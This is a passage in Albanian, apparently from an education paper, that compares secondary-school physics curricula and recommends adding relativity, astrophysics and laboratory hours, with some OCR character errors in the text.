Duke shqyrtuar me kujdes programin kurrikular té fizikés pér arsimin e mesém qé
zhvillohej né 4 vite me até té gjimnazit té sotém shohim se:
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1. Nga krahasimi i programeve kurrikulare té shkollés s& mesme té profilizuar me
até té gjimnazit sot, del se programi i kurrikulés sé gjimnazit pér 1&éndén e Fizikés
trajton jo vetém mé pak tema, por dhe zhvillohet né mé pak oré mésimore.

2. Né programin e kurrikulés bérthamé nuk trajtohen fare kapituj mjaft té
réndésishém si ai mbi Relativitetin dhe ai mbi Astrofizikén. Teoria e Relativitetit
formon tek nxénési njé kuptim té€ ri modern mbi konceptin e hapsirés katér
pérmasore hapsiré-kohé, mbi ményrén e té vrojtuarit, t¢ menduarit, té interpretuarit
dhe té hulumtimit shkencor té natyrés né pérgjithési. Astrofizika po shpjegon jo
vetém ndértimin e universit toné, por po shpjegon si lindi dhe po zhvillohet ai duke
na dhéné njé kuptim mé té ploté mbi ligjésité e lindjes dhe evolucionit té métejshém
té sistemit diellor si dhe mbi vendin gé ze njeriu né kété univers té ndryshueshém.

3. Bashkérendimi i metodés sé konkurseve me metodén e t€ mésuarit me
objektiva, éshté njé nga metodat mé té pérshtatshme dhe bashkékohore pér
pérvetésimin e shkencés sé fizikés prej nxénésve.

4. Rekomandime

Numri i maturantéve gé studjojné sot né universitetet peréndimore éshté mjaft i
madh, gjé gé tregon jo vetdm pér njé nivel mjaft t¢ miré shkencor té shkollés soné,
por dhe déshirén pér té shfrytézuar sa mé miré potencialin e tyre mendor. Nisur dhe
nga ky fakt, mendoj gé nivelit shkencor dhe potencialit mendor té nxénésve shkolla
joné duhet t’u pérgjigjet me njé program mé té pasur t€ 1€nde€s s€ Fizikés. Pér ta béré
Fizikén mé térhegése dhe té kuptueshme pér nxénésit, duhet gé né programin
kurrikular té saj té béhen disa ndryshime jo vetém cilésore, por dhe sasiore.

a) Kjo do té thoté gé té pérmirésohet pérmbajtja e programit duke shtuar né té jo
vetém oré mésimore, por edhe kapituj dhe tema té vecanta. Ndér to mund té
pérmend teoriné e Relativitetit, Astrofizikén, teoriné mbi ndryshimet klimatike aq té
debatueshme sot, etj.

b) Té shtohen mé tepér edhe orét e punéve té laboratorit té Fizikés, sepse ato
edukojné tek nxénésit punén krijuese dhe i afrojné mé shumé me kété shkencé. Né
kété ményré mund té realizohet mé me sukses njé nga synimet e arsimit t€ mesém
publik: zhvillimi né ményré sa mé té ploté e harmonik i personalitetit dhe potencialit
té nxénésve, pér t’i aft€suar ata té kontribuojné né ményreé sa mé aktive né zhvillimet
ekonomike, politike, sociale e kulturore té vendit.

¢) Né kuadér té projekteve apo té punéve krijuese té nxénésve, té planifikohen oré
pér ndértimin prej veté atyre té punéve té laboratorit né Fiziké sipas temave té
caktuara, né varési té mundésive té veté shkollave. Kjo ngjall tek nxénésit frymén
krijuese, i aftéson ata pér tregun e punés duke ju mésuar shprehi praktike pér
zgjidhjen e problemeve dhe e bén Fizikén mé té kapéshme dhe té dashur pér
nxénésit.

d) Me synimin e hedhjes sé bazave té shéndosha pér krijimin e elitave intelektuale
né vendin toné, mendoj se duhen krijuar né disa shkolla klasa té veganta pér té cilat
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programi kurrikular i shkencave natyrore (ndér to dhe i fizikés) té pérmbajé shumé
mé tepér tema dhe oré mésimore. Né kéto klasa duhet té futen nxénésit me prirje té
spikatura né 1éndét e shkencave natyrore dhe pér kéta nxénés té keté njé pérkujdesje
té vecanté nga shteti.

e) Qé Fizika té béhet mé térhegése dhe e kuptueshme pér nxénésit, duhet té pérdoren
mé me mjeshtéri profesionale nga mésuesit metoda té reja shpjegimi té mésimit.
Mendoj se bashkérendimi i metodés sé konkurseve me metodén e té mésuarit me
objektiva, éshté njé nga metodat mé té pérshtatshme dhe bashkékohore pér
pérvetésimin e shkencés sé Fizikés prej nxénésve.
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Programi i fizikés pér klasén e njémbédhje (kurrikula bérthamé) (2011).
Programi i fizikés pér klasén e njémbédhjeté (kurrikula me zgjedhje) (2011).
Programi i fizikés pér klasén e dymbédhjeté (kurrikula me zgjedhje) (2011).
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